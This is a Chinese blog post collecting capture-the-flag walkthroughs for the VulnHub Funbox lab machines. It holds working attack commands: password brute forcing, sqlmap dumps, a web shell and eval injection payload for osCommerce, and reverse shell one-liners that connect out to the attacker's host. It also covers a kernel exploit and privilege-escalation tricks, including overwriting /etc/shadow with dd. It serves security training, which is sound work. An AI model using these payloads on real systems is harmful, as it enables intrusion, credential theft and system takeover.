Vulnhub:FUNBOX系列靶机合集

Funbox: 1

信息收集

主机发现

扫描攻击机同网段存活主机。

nmap 192.168.31.0/24 -Pn -T4

靶机ip:192.168.31.217

端口扫描

nmap 192.168.31.217

开放端口21,22,80,33060。80http服务需要重定向。

web站点收集

根据端口扫描结果,需要修改靶机ip和域名的映射,vim /etc/hosts

成功访问。根据首页提示该网站由wordpress搭建。

访问/secret/,没东西。

渗透

wpscan

站点由WordPress搭建,直接上wpscan枚举用户名,插件,主题。

wpscan --url http://funbox.fritz.box/ --enumerate u,p,t

得到两个用户名admin,joe。

分别枚举两个用户的密码。

wpscan --url http://funbox.fritz.box/ --usernames admin --passwords /usr/share/wordlists/nmap.lst

admin / iubire

joe / 12345

反弹shell

得到admin密码,尝试登录/wp-admin,是管理员账号。反弹shell,我这里习惯通过在插件代码中加入反弹shell脚本。

写入反弹shell脚本后更新插件,攻击机nc开始监听端口,启用插件等待监听上线。拿到一个低权限用户。

# 获得交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

有两个用户funny和joe。在funny家目录下的.reminder.sh发现信息,意思是funny给Joe发了一封名为"Reminder"的信,内容是告诉Joy,新管理员Ted掌管备份。

#!/bin/bash
echo "Hi Joe, the hidden backup.sh backups the entire webspace on and on. Ted, the new admin, test it in a long run." | mail -s"Reminder" joe@funbox

ssh登录

Joe远程登录ssh服务。在mbox中看到两封信,管理员Ted说告诉funny备份已经完成。

Hi Joe, please tell funny the backupscript is done.

Joe, WTF!?!?!?!?!?! Change your password right now! 12345 is an recommendation to fire you.

在进行其他操作时发现被限制了,使用命令python3 -c 'import pty;pty.spawn("/bin/bash")'解决。切换到funny家目录找备份文件。

当前用户对.backup.sh可写可执行,并且查看时间发现可能是一个定时任务。

提权

在.backup.sh中添加反弹shell。

bash -i >& /dev/tcp/攻击机ip/port 0>&1

nc监听端口等待上线,成功拿到root权限。可能会拿到funny权限,这里多试几次多等一下就是root权限,因为funny和root都有定时任务执行.backup.sh但是时间不同。

get flag.txt🎆

Funbox: Rookie

靶机下载地址

信息收集

主机发现

扫描攻击机同网段存活主机。

nmap 192.168.31.0/24 -Pn -T4

目标靶机ip为:192.168.31.215

端口扫描

nmap 192.168.31.215 -A -p- -T4

开放了21,22,80端口。

访问http://192.168.31.215/robots.txt,提示/logs/路径,访问显示404。对站点进行目录扫描,没有收获。

渗透

ftp弱口令登录

ftp服务器允许匿名用户登录,尝试弱口令。

ftp 192.168.31.215
ftp/ftp

成功登录,ftp服务器上有很多文件,批量下载到本地。

mget *

得到一堆zip文件,有三个非zip文件先看一下。

cat .@admins 得到一串base加密字符。

SGkgQWRtaW5zLAoKYmUgY2FyZWZ1bGwgd2l0aCB5b3VyIGtleXMuIEZpbmQgdGhlbSBpbiAleW91cm5hbWUlLnppcC4KVGhlIHBhc3N3b3JkcyBhcmUgdGhlIG9sZCBvbmVzLgoKUmVnYXJkcwpyb290

base64解码,提示管理员的密码在管理员名字.zip中。

Hi Admins,

be carefull with your keys. Find them in %yourname%.zip. The passwords are the old ones.

Regards root

cat .@users ,提示用户密码在用户名.zip中。

Hi Users,

be carefull with your keys. Find them in %yourname%.zip. The passwords are the old ones.

Regards root

cat welcome.msg

Welcome, archive user %U@%R !

The local time is: %T

This is an experimental FTP server. If you have any unusual problems, please report them via e-mail to <root@%L>.

frackzip破解zip文件

剩下的zip文件全部需要密码才能解压缩。使用压缩包爆破工具fcrackzip破解密码,字典用的是kali自带的rockyou.txt。最终爆破出cathrine.zip的密码是catwoman,tom.zip的密码是iubire。

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u cathrine.zip
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u tom.zip
 

cathrine.zip解压后得到id_rsa,私钥文件。tom.zip解压后得到一个相同的id_rsa。

私钥登录ssh

cathrine登录失败,tom登录成功。

ssh -i id_rsa cathrine@192.168.31.215
ssh -i id_rsa tom@192.168.31.215

sudo提权

ssh登录后,尝试提权,发现sudo需要密码,cd,find命令被限制。但是信息收集时发现.mysql_history里面有密码。

查看.mysql_history文件,历史命令文件,可以看到向support表插入了一些内容,tom:xx11yy22!。

sudo -l,输入密码xx11yy22!

查看tom用户可用的特权命令有哪些,所有命令都可用。

su root get flag.txt🎆

Funbox: Easy

靶机下载地址

1、主机发现

nmap扫描攻击机同网段存活主机。确认目标靶机ip:192.168.31.229

2、端口扫描

对目标机进行全面扫描。

nmap 192.168.31.229 -A -p- -T4

开放了22,80,33060端口。33060端口是mysqlx插件占用的端口。

3、网站目录扫描

dirsearch -u http://192.168.31.229

扫描出大量目录和页面,几个需要注意的目录和页面:

  • /admin/

  • /robots.txt

  • /secret/

  • /store

/admin。登录界面,尝试sql万能密码' or 1='1,成功登入一个网站后台,没什么发现。一个烟雾弹。

/robots.txt。指向/gym。

访问/gym,一个健身的站点,这里登录框是邮箱和密码就没有尝试弱口令。对/gym继续目录扫描,还是一推目录和页面,最终确定烟雾弹+1。

/secret/。奥斯卡·王尔德的名言。烟雾弹+1。

/store。一个书店的站点,CSE Bookstore,漏洞库搜索发现存在sql注入漏洞。

4、获取store用户名和密码

有两个方法。简单的方法是通过对/store二层目录扫描,发现敏感文件找到用户名和加密密码。

dirsearch http://192.168.31.229/store

一堆目录中,发现数据库相关内容/database。

访问得到一个sql文件。

发现用户名和密码。密码d033e22ae348aeb5660fc2140aec35850c4da997,猜测是mysql5.7之前的版本,SHA-1算法解密得到密码是admin。

另一种方式是,利用/store存在的sql注入漏洞获取用户名和密码。漏洞库搜索CSE Bookstore,得到几个可用的POC。

sqlmap一把梭即可。

# 数据库
sqlmap.py -u http://192.168.31.229/store/bookPerPub.php?pubid=4 --batch --dbs
# 表
sqlmap.py -u http://192.168.31.229/store/bookPerPub.php?pubid=4 --batch -D store --tables
# 字段名
sqlmap.py -u http://192.168.31.229/store/bookPerPub.php?pubid=4 --batch -D store -T admin --columns
# 用户名和密码
sqlmap.py -u http://192.168.31.229/store/bookPerPub.php?pubid=4 --batch -D store -T admin -C name,pass --dump

admin/admin

5、getshell

/store/admin.php登录。登录后进入/store/admin_book.php,Add new book功能。

点击添加新图书,找到文件上传功能点。

利用文件上传功能点上传反弹shell文件,上传kali自带的php反弹shell(/usr/share/webshells/php/php-reverse-shell.php),注意修改lhost和lport。

上传。Publisher需要填写网站中有的Publisher,在/store/admin_book.php页面随便复制一个用。

上传成功。回到首页看到我们添加的图书

还需要文件上传后的保存地址,F12,复制图片路径。

访问反弹shellhttp://192.168.31.229/store/bootstrap/img/php-reverse-shell.php

# 监听
nc -lvvp 4444
# 获得交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

在/home/tony路径下找到一些密码。

6、sudo提权

ssh登录到tony。

ssh tony@192.168.31.229
密码:yxcvbnmYYY

sudo提权。可以利用pkexec提权。

sudo pkexec /bin/sh

get root.flag!🎆

Funbox: CTF

靶机下载地址

信息收集

主机发现

nmap扫描攻击机同网段存活主机。

nmap 192.168.31.0/24 -Pn -T4

目标靶机ip:192.168.31.116

端口扫描

nmap 192.168.31.116 -A -p- -T4

开放22,80,110,143端口。

目录扫描

使用dirsearch,dirb两个工具扫描皆无收获,换字典也没有东西。靶机描述中提示Hints: Nikto scans "case sensitive" and you need a minimum of 15 mins to get user ! 意思是使用Nikto扫描,区分大小写。(不太会用Nikto,重点是区分大小写而不是工具)

# -U 大写
dirsearch -u http://192.168.31.116 -U

访问/ROBOTS.TXT,F12检查页面,发现另一个路径:/igmseklhgmrjmtherij2145236

访问显示404,扫描igmseklhgmrjmtherij2145236二层目录。

dirsearch -u http://192.168.31.116/igmseklhgmrjmtherij2145236

访问/upload.php,文件上传页面。

渗透

一个流产的思路

根据信息收集ssh版本OpenSSH 7.2p2,漏洞库搜exp。枚举用户,爆破密码。(尝试这个思路的原因是目录扫描没有扫描到可用页面)

searchsploit OpenSSH 7.2p2
 

复制出来使用。

searchsploit -m 40136.py
python 40136.py -U '/usr/share/wordlists/nmap.lst' -e 192.168.31.116

执行40136.py后报错。

脚本需要修改两个地方。报错主要是由于攻击机python版本不支持time.clock()

  • line 76,time.clock() 修改为time.perf_counter()

  • line 80,time.clock() 修改为time.perf_counter()

但是后面发现同样命令每次执行枚举得到的用户名都不同,放弃。

getshell-文件上传

http://192.168.31.116/igmseklhgmrjmtherij2145236/upload.php上传反弹shell。

上传成功后需要触发反弹shell,访问文件上传保存路径/igmseklhgmrjmtherij2145236/upload/php-reverse-shell.php。nc监听端口成功getshell。

通过python获得交互式shell。

python3 -c 'import pty;pty.spawn("/bin/bash")'

hint.txt

提示我们rockyou.txt无用了,另外还有三段编码。

三段编码解码结果如下:

The next hint is located in:

No hints here !

Search for todos.

提示我们找todo,便签?计划表?跟定时任务有关?cat /etc/crontab没有收获,最后在thomas用户目录找到.todo文件,内容是一些待办事宜,得到两个信息:1、密码中有感叹号。2、邮件。

根据提示,密码末尾是"!",在rockyou.txt中每行末尾都加上"!",生成新字典wordlist。

cat /usr/share/wordlists/rockyou.txt | sed 's/$/!/g' > wordlist

hydra爆破thomas的密码。

hydra -l thomas -P wordlist  ssh://192.168.31.116

get thomas password:thebest!

内核提权

尝试内核提权uname -a

上传Linux_Exploit_Suggester(一款根据Linux操作系统版本号自动查找相应提权脚本的工具)查找内核漏洞。

运行linux-exploit-suggester.sh。

靶机系统版本ubuntu 16.04、内核版本4.4.0

扫描出很多漏洞,找一个和靶机系统版本内核版本一致的,例如:CVE-2017-16995。

下载exp,https://www.exploit-db.com/download/45010,gcc编译后上传。

gcc 45010.c -o exp

chmod 777 exp
./exp

提权成功,get flag.txt🎆

Funbox: Next Level

靶机下载地址

信息收集

主机发现and端口扫描

扫描攻击机同网段存活主机。

nmap 192.168.31.0/24 -Pn -T4

目标靶机ip为:192.168.31.111

nmap 192.168.31.111 -A -p- -T4

开放端口有22,80端口。

目录扫描

dirsearch -u http://192.168.31.111

扫描到/drupal目录。

访问/drupal目录会自动跳转到http://192.168.178.33/drupal,访问时提示不可连接。扫描/drupal二层目录,发现该站点由WordPress搭建。

dirsearch -u http://192.168.31.111/drupal


为了解决无法访问/drupal的问题,需要重新配置靶机和攻击机的网络设置。1、在virtualbox工具中创建一个新的NAT网络,网段设置为192.168.178.0/24。2、靶机进入grub模式修改静态ip为192.168.178.33。即可访问。

后续测试发现不修改靶机静态ip也可以直接访问http://192.168.31.111/drupal/index.php(下面演示的是不修改静态ip的做法)

wpscan枚举用户,插件,主题。

wpscan --url http://192.168.31.111/drupal/index.php --wp-content-dir http://192.168.31.111/drupal/wp-content  --enumerate u,p,t

扫描到两个用户admin,ben。

继续使用wpscan枚举两个用户的密码,可能是因为无法访问/wp-admin的原因爆破不出来。

渗透

ssh登录

转战22端口,hydra爆破ssh。ben爆破成功。

hydra -l ben -P /usr/share/wordlists/nmap.lst ssh://192.168.31.111

邮件

登录时提醒有邮件。

mail文件夹里面的文件ben用户没有读权限。查看用户组,ben在mail组内,但是使用mail命令提示无权限。

ben用户能做的操作很有限,家目录中发现两个用户目录,也无法查看。/var/mail目录下有邮件,同样无权限查看,有邮件意味着可能开放110,143端口。

netstat -antp

telnet连接110端口,使用ben的凭证登录查看邮件。

telnet 127.0.0.1 110
user ben
pass pookie
# 列出邮件
list
# 查看第n条邮件
retr n

有三封邮件。

1、

Hi Ben,

are you going to Jonas' party on Saturday?

2、

Hey Ben,

did you do all the updates?

3、

Hi Ben,

please come to my office at 10:00 a.m. We have a lot to talk about! The new employees must be created. I've already finished Adam. adam: qwedsayxc!

第三封信中提到了adam:qwedsayxc!,得到adam的密码。切换到adam用户。

sudo提权

切换到adam用户后,提权sudo -l,查了一下只有dd命令可用。

使用dd命令替换靶机root用户密码hash值。

# 攻击机生成密码hash值 
# -m 指定加密方式 Linux 的密码采用的是 SHA512 散列加密算法
mkpasswd -m sha-512 123456

$6$z4og1R7QIwOmq30W$eKCLHcZ1xvbB6wljH4gZrTCW2hFbe1nWUUAnofGtOhmM/RZ5/oWZx/EUb3jztJPJe8U3aylSog1p4kjhcZHuD/

# 替换
echo 'root:$6$z4og1R7QIwOmq30W$eKCLHcZ1xvbB6wljH4gZrTCW2hFbe1nWUUAnofGtOhmM/RZ5/oWZx/EUb3jztJPJe8U3aylSog1p4kjhcZHuD/:19778:0:99999:7:::' | sudo dd of=/etc/shadow

 用刚刚写入的密码123456切换到root用户。

get flag.txt🎆

Funbox: Gamble Hall

靶机下载地址

信息收集

主机发现

扫描攻击机同网段存活主机。

nmap 192.168.31.0/24 -Pn -T4

确认目标靶机ip:192.168.31.134

端口扫描

nmap 192.168.31.134 -A -p- -T4

开放了22,80端口,80http服务需要进行重定向。修改/etc/hosts,添加IP地址和域名的映射。

Web站点信息收集

dirsearch -u http://funbox6.box
whatweb http://funbox6.box
 

根据目录扫描和网站指纹的结果,确认是由wordpress搭建的网站,直接上wpscan。先枚举用户名、插件、主题。

wpscan --url http://funbox6.box --enumerate u,p,t

得到用户名,枚举密码。

wpscan --url http://funbox6.box --passwords directory-list-2.3-small.txt --usernames admin --max-threads 100

试了几个字典都没能爆出密码,而且爆破过程中不定时提示连接服务器失败。

在站点找有没有指向密码的有用信息。多次访问站点发现首页副标题会变化。"OPENED"和"CLOSED",存在定时任务。

测试发现,只有在"OPENED"状态下访问http://funbox6.box/index.php/2020/09/08/hello-world/才会给出admin的密码。

一串base编码,base32解密结果如下:admin:gamblehall777

渗透

getshell

赶紧在"OPENED"状态下登录wp-admin,登录后就是常规的wordpress漏洞利用。(后续渗透过程必须要在OPENED状态才有效,OPENED状态时间很短)

这里通过在插件代码中添加反弹shell脚本实现getshell。选择一个插件,在插件代码中插入反弹shell脚本,并更新代码。

启用刚刚修改过的插件,反弹成功。

拿到shell后进行信息收集。当前目录下有个hint.txt,内容如下:

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>++++++++++++++.>++++.+.+++++.-------.++++++++++++.<<++.>+++++++++++++++.+++++.-------.>-----.<++++++.--.<.>+.>++++.---.--.<<.>>+++++++.<+++.++++.--------.<.>>.-----.<<.>>+++++.<++++.++++.--------.<+.-.>------------------.>-----.--.--------.+++++++++++++++.-----------.++++.--------.++++++++++++++.<<.+++++++++++++++++.-.----------------.>>------.----.+++++.+++++.<<.>++++++++++++++.>-.<++++.<.>.>----.+.++++++.<++.+.<.>--.>------.+++.<<.>-----.<.>++++++.------.>-----.<++++.--.+++++.-------.>+.<++++++.--.>++++.<<++++++++++++++.

BrainFuck解码:Things change from time to time! Sometimes 10 mins are enough for a gamechanger. 翻译成中文是事情时有变!有时10分钟对于游戏改变者来说就足够了。 指向定时任务,十分钟一次?

sudo提权

sudo l结果显示 www-data 用户在没有 root 密码的情况下可以运行任何命令。

直接切换到root用户,sudo su,get root.flag🎆

关于定时任务

查看靶机的定时任务crontab -l,每十分钟执行一次/root/gamble.sh。

cat /root/gamble.sh,通过交替切换一个配置文件实现OPENED和CLOSED。

Funbox: EasyEnum

靶机下载地址

信息收集

主机发现

nmap 192.168.31.218 -Pn -T4

靶机ip:192.168.31.116

端口扫描

nmap 192.168.31.116 -A -p- -T4

开放端口有22,80。

目录扫描

dirsearch -u http://192.168.31.116

访问/secret/,得到一串乱码。

鏍瑰瘑鐮佹槸鐢ㄦ埛瀵嗙爜鐨勭粍鍚堬細harrysallygoatoraclelissy

经过乱码恢复,GBK——>UTF-8。

访问/robots.txt,提示枚举。

访问/phpmyadmin/doc/html/index.html,提示phpMyAdmin版本为4.6.6.

尝试phpmyadmin弱口令不成功。换字典加扩展名继续目录扫描。

gobuster dir -u http://192.168.31.116 -w directory-list-2.3-small.txt -x html,php,js,jpg,png,txt

扫到新路径/mini.php。

访问发现是文件上传。

利用文件上传getshell

发现可以编辑/mini.php文件。

添加shell脚本。

nc监听,访问/mini.php,等待上线。

# 获得交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

cd /home,发现五个用户,和/secret/中得到的信息对上了。

karla目录中read.me可读。说karla没用。

karla is really not a part of this CTF !

ssh爆破

既然没有收集到别的信息,ssh爆破,根据官网的提示字典用rockyou.txt。

hydra -L user.txt -P /usr/share/wordlists/rockyou.txt  ssh://192.168.31.116

成功爆破出goat用户的密码。

sudo提权

登录到goat用户后尝试提权,发现当前用户被允许以root身份执行/usr/bin/mysql。

sudo mysql -e '\! /bin/sh'

提权成功。

get root.flag!🎆

Funbox: Lunchbreaker

靶机下载地址

信息收集

主机发现

扫描攻击机同网段存活主机。

nmap 192.168.31.0/24 -Pn -T4

靶机ip:192.168.31.129

端口扫描

nmap 192.168.31.129 -A -p- -T4 

开放端口有21,22,80。

  1. ftp vsftpd 3.0.3

  2. ftp服务允许匿名登录,ftp服务器内有内容

目录扫描

访问http服务。一张图片。

F12检查页面,jane和j.miller,可能是用户名。

dirsearch -u  http://192.168.31.129

扫描得到/robots.txt,访问得到如下提示。提示继续目录扫描,换工具字典都没扫到其他目录。

渗透

ftp匿名登录

ftp服务允许匿名登录,ftp/ftp。

get xx

supers3cr3t内是BrainFuck编码,解码内容如下:

Look deep into nature and then you will understand everything better."

.s3cr3t内是base64编码,解码内容如下:

If the radiance of a thousand suns / were to burst at once into the sky / that would be like / the splendor of the Mighty One and I am become Death, the shatterer of worlds

没懂什么意思,看看wordpress文件夹。在wp-config.php中找到用户名和密码wpuser/JuZhRbNNk.(),尝试登录,不行。

图片隐写

仅有一张图片,看一下有没有图片隐写的可能。steghide试过后提示需要密码,用stegseek尝试爆破密码失败,先后试了jphide和foremost都没用收获。

hydra爆破

目前收集的到信息很有限,用两个疑似用户名jane和j.miller尝试爆破。

ssh

失败。

hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.31.129
ftp
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt  ftp://192.168.31.129

得到jane/password

ftp登录

jane远程登录到ftp服务器。找到keys.txt。

不知道有啥用,可能是密码字典?

kJGgh-kiu65-zghku-76zzt-hgf56

llij8-fgzZ-rTzU1-ddfgz-i876S

发现其他用户。想继续信息收集发现能做的操作很少。

hydra爆破jim,john,jules

hydra -L user2.txt -P /usr/share/wordlists/nmap.lst  ssh://192.168.31.129
hydra -L user2.txt -P /usr/share/wordlists/nmap.lst  ftp://192.168.31.129

ftp jim/12345

ftp jules/sexylady

john没有爆破出来,换个字典单独爆破,也失败了。

jim

.ssh文件夹内authorized_keys和id_rsa都为空,没啥用,也不能上传。

jules

在.backups下找到两个字典.good-passwd,.bad-passwds

用这两个字典爆破john。.bad-passwds成功爆破出密码john/zhnmju!!!

hydra -l john -P .bad-passwds  ssh://192.168.31.129

ssh登录

john/zhnmju!!!

todo.list。已安装LAMP,MAIL-System,Firewall,Plesk,最终重要的一点是:root的密码和john一致。

su root

get root.flag!🎆

Funbox: GaoKao

靶机下载地址

信息收集

主机发现

扫描攻击机同网段存活主机。

nmap 192.168.31.0/24 -Pn -T4

目标靶机ip:192.168.31.140

端口扫描

nmap 192.168.31.140 -A -p- -T4

开放端口有:21,22,80,3306。

目录扫描

访问80端口的http服务,首页是apache的默认页面,进一步目录扫描,没有收获。

dirsearch -u http://192.168.31.140
dirsearch -u http://192.168.31.140 -t 64 -e *
# 换工具扫,御剑,dirb,gpbuster

渗透

根据端口扫描得到的信息ProFTPD 1.3.5e,看看漏洞库里有没有可利用的exp。

searchsploit ProFTPD 1.3.5

经过测试这些exp都不行。

ftp匿名登录

根据端口扫描的结果,运行匿名登录。

ftp的匿名登录(两种都可以):

  1. 用户名:ftp 密码:ftp

  2. 用户名:anonymous 密码:空

get welcome.msg,将welcome.msg下载到本地,内容如下:

Welcome, archive user %U@%R !

The local time is: %T

This is an experimental FTP server. If you have any unusual problems, please report them via e-mail to<sky@%L>.

唯一的有用信息是用户名是sky。

hydra爆破

没有其他线索,拿这个sky疑似用户名进行爆破,ssh,ftp,mysql轮流来一遍。

ssh爆破,没有爆出密码。

hydra -l sky -P /usr/share/wordlists/nmap.lst ssh://192.168.31.140

ftp爆破,成功得到密码。

hydra -l sky -P /usr/share/wordlists/nmap.lst ftp://192.168.31.140

密码是:thebest

getshell

ftp服务器远程登录,有一个user.flag文件。下载到本地后查看,这是一个脚本文件,sky用户对user.flag有写和执行的权限,如果可以修改该文件内容为反弹shell,然后上传到靶机上覆盖原来的文件,并执行,就可以获得靶机shell。

get user.flag  //下载到本地
bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'  //在user.flag中写入反弹shell
put user.flag  //将修改后的文件上传到目标机替换原来的user.flag

时间变了,说明替换成功。

出现一个问题:ftp如何执行这个脚本。先不管直接监听,过了一会儿发现成功getshell,所以有定时任务,定时执行user.flag。

suid提权

列出所有的suid可执行文件。

find / -perm -4000 -exec ls -al {} \; 2>/dev/null
  • -4000 表示SUID。

  • -exec 参数后面跟的是command命令,';'是终止符号,一般会加上反斜杠避免被转义。

发现/bin/bash,利用bash提权。bash -p

该命令是以root权限打开了一个bash shell。

cd /root, get root.flag🎆

Funbox: Under Construction!

信息收集

主机发现

扫描攻击机同网段存活主机nmap 192.168.31.0/24 -Pn -T4

目标机ip:192.168.31.197

端口扫描

nmap 192.168.31.197 -A -p- -T4

目标机开放端口:22,25,80,110,143.

目录扫描

访问http服务。没什么线索。

目录扫描,dirsearch -u http://192.168.31.197

访问/catalog,显示osCommerce v2.3.4.1。

漏洞利用

方法1

osCommerce是一套国际著名的开源免费的电子商务系统,而v2.3.4.1版本存在远程代码执行漏洞。

payload:
http://192.168.31.197/catalog/install/install.php?step=4
post:DIR_FS_DOCUMENT_ROOT=./&DB_DATABASE=');@eval($_POST['cmd']);/*

使用蚁剑连接http://192.168.31.197/catalog/install/includes/configure.php。成功getshell。

在configure.php.bak中找到数据库用户名及密码。

用户名:jack

密码:yellow

接下来蚁剑能进行的操作就很少了,需要想办法反弹shell到攻击机中,反弹shell只有下面两种可行。(第二种反弹方式会出现su: must be run from a terminal问题,解决方法后面展示)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.218 7777 >/tmp/f
# or 
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.31.218 7777 >/tmp/f

成功。

方法2

也可以通过searchsploit搜索漏洞exp。searchsploit osCommerce选择适合的exp,后面测试发现两个exp都是可行的。

例如,使用第二个exp。

searchsploit -m 50128.py
python3 50128.py http://192.168.31.197/catalog

成功。原理都是一样的,使用现成的exp更方便。

切换到家目录,发现存在四个用户,当前权限过低(www-data)无法访问相关目录。

尝试远程登录ssh服务。使用jack用户远程登录ssh发现密码错误,hydra爆破密码没成功。其余三个用户也用hydra爆破一下。

hydra -l username -P /usr/share/wordlists/nmap.lst ssh://192.168.31.197

只有susan用户,hydra爆破得到密码shadow。

提示提权。

提权-pspy64

上传pspy64到目标机。

# 攻击机在pspy64目录下开启http服务
python3 -m http.server 8989
# 目标机下载
wget http://192.168.31.218:8989/pspy64
chmod 777 pspy64
./pspy64

发现一个计划任务,每分钟都会执行。

cat /usr/share/doc/examples/cron.sh

base64解码工具解一下,发现直接告诉我们root用户的密码。

用户名:root

密码:rfvbgt!!

切换到root用户。su root,发现问题su: must be run from a terminal,提示需要在终端中执行,我这不是在交互式shell里吗?

最后百度发现可以用python调用本地的shell python -c 'import pty;pty.spawn("/bin/bash")'即可解决。

切换成功。

get flag🎆

其余FUNBOX系列靶机渗透实战

VulnHub靶机漏洞利用合集1-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值